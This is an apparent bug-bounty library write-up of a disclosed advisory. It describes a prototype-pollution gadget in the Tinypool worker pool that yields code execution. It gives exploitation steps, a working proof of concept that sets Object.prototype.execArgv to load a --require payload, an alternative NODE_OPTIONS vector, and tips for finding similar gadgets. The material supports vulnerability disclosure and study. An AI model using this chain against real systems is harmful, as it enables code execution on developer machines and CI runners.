# Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

Tinypool reads worker options off a plain object, so Object.prototype pollution of execArgv or env re-materialises inherited keys as own properties and executes attacker code in every pool worker.

- Payout: Research
- Severity: critical
- Program: Tinypool
- Found by: ambushneupane
- Disclosed: 2026-10-05
- CVE: CVE-2026-104848
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5gmw-xhrv-c9v3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5gmw-xhrv-c9v3
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce

**Target:** npm library worker pool (worker_threads.Worker options)
**Root cause:** this.options is built via object spread over Object.prototype, and env/argv/execArgv/resourceLimits are read off it and passed explicitly to new Worker(), converting inherited polluted keys into own properties that Node core would otherwise ignore.
**Steps:**
1. Pollute the prototype: `Object.prototype.execArgv = ['--require', '/path/to/payload.js']` (simulating lodash/qs/minimist/set-value/deepmerge PP).
2. Create a Tinypool with a legitimate worker filename and minThreads/maxThreads 1.
3. Call `pool.run(21)`; the pool spawns a worker passing the inherited execArgv explicitly.
4. Worker loads payload.js via --require; `cat /tmp/RCE_PROOF.txt` confirms execution. Alternative vector: `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }`.
**How found:** Noticed tinypool builds this.options by object spread (prototype-inheriting) and then explicitly forwards env/argv/execArgv/resourceLimits to new Worker(), defeating Node core's protection of ignoring Worker options inherited from Object.prototype.
**Exploitation:** Any prototype-pollution primitive anywhere in the dependency tree sets Object.prototype.execArgv or Object.prototype.env; tinypool then passes those inherited values as own options to worker_threads.Worker, so every spawned worker runs the attacker's --require script with host process privileges — a supply-chain foothold into CI secrets, signing keys and artifact publishing.
**Escalation:** Blast radius extends to Vitest (~42M downloads/week), so a PP primitive in any transitive dependency yields code execution on developer machines and CI runners.
**Insight:** When a library re-passes options explicitly to a core API, check whether the options object inherits from Object.prototype — Node's own guard against inherited Worker options is bypassed by re-materialising them as own properties; grep for `{ ...defaults, ...options }` feeding `new Worker()`/`child_process` spawn options.

## Proof of concept (copied exactly from the original report)

**app.js prototype pollution RCE reproduction**

```
const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})
```

**Attacker payload.js writing RCE proof file**

```
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
```

**Vulnerable option pass-through in dist/index.js**

```
env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```

